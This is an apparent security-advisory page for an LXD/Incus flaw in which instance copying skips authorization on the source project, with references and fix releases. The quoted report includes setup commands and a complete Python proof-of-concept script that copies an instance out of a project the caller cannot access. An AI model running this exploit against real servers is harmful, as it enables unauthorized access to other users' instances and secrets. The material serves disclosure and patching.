LXD has project restriction bypass in instance copy across projects

Story map

Why it is Yellow

• CVSS 7.7 high
• On your watchlist: Go

Affected packages

References

• https://github.com/advisories/GHSA-qx75-2p3r-pwm5
• https://github.com/canonical/lxd/security/advisories/GHSA-qx75-2p3r-pwm5
• https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg
• https://nvd.nist.gov/vuln/detail/CVE-2026-55622
• https://github.com/canonical/lxd/commit/97cb037794cb6b21c5a184eb5f3292207adbf6b2
• https://github.com/canonical/lxd/commit/bc1e20ea32dff6ae2df08803eee82832959ec80e
• https://github.com/canonical/lxd/commit/f7849615eb89e71a12ea76daaab6110bdf0fdf7f
• https://github.com/canonical/lxd/releases/tag/lxd-5.0.7
• https://github.com/canonical/lxd/releases/tag/lxd-5.21.5
• https://github.com/canonical/lxd/releases/tag/lxd-6.8

Original description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg ### Summary Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access. ### Details `cmd/incusd/instances.go` authorizes `POST /1.0/instances` against the target project. In the copy path, `cmd/incusd/instances_post.go` then loads the source instance from `req.Source.Project` without checking whether the caller can view that source instance. From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server. ### PoC #### Setup We assume the target server is remotely accessible and a user/certificate has been added. ``` # create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets init images:debian/trixie secret # restrict an existing certificate to prevent access to the project incus config trust edit cert-fp #> set, for example restricted: true projects: - default # verification, with the restricted certificate incus ls remote: ``` #### Exploitation The below script was partly generated. To copy the `secret` instance to the `default` project, the following command can be used. ``` python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-instance secret --name copy-secret --insecure ``` Wait a bit for the instance to be copied, then `incus ls remote:` to see the copied instance. ``` #!/usr/bin/env python3 """Copy an instance from a project the caller should not be able to read.""" from __future__ import annotations import argparse import json import ssl import sys import urllib.error import urllib.parse import urllib.request def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes: ctx = ssl.create_default_context() if insecure: ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx.load_cert_chain(cert, key) req = urllib.request.Request( url.rstrip("/") + path, data=json.dumps(body).encode(), method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read() except urllib.error.HTTPError as exc: sys.stderr.write(exc.read().decode(errors="replace") + "\n") raise def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--url", required=True) ap.add_argument("--cert", required=True) ap.add_argument("--key", required=True) ap.add_argument("--target-project", required=True) ap.add_argument("--source-project", required=True) ap.add_argument("--source-instance", required=True) ap.add_argument("--name", required=True, help="new instance name in target project") ap.add_argument("--instance-only", action="store_true") ap.add_argument("--start", action="store_true") ap.add_argument("--insecure", action="store_true") ap.add_argument("--dry-run", action="store_true") args = ap.parse_args() body = { "name": args.name, "source": { "type": "copy", "source": args.source_instance, "project": args.source_project, "instance_only": args.instance_only, }, "start": args.start, } path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project}) print(json.dumps(body, indent=2)) if args.dry_run: return 0 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace")) return 0 if __name__ == "__main__": raise SystemExit(main()) ``` ### Impact An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.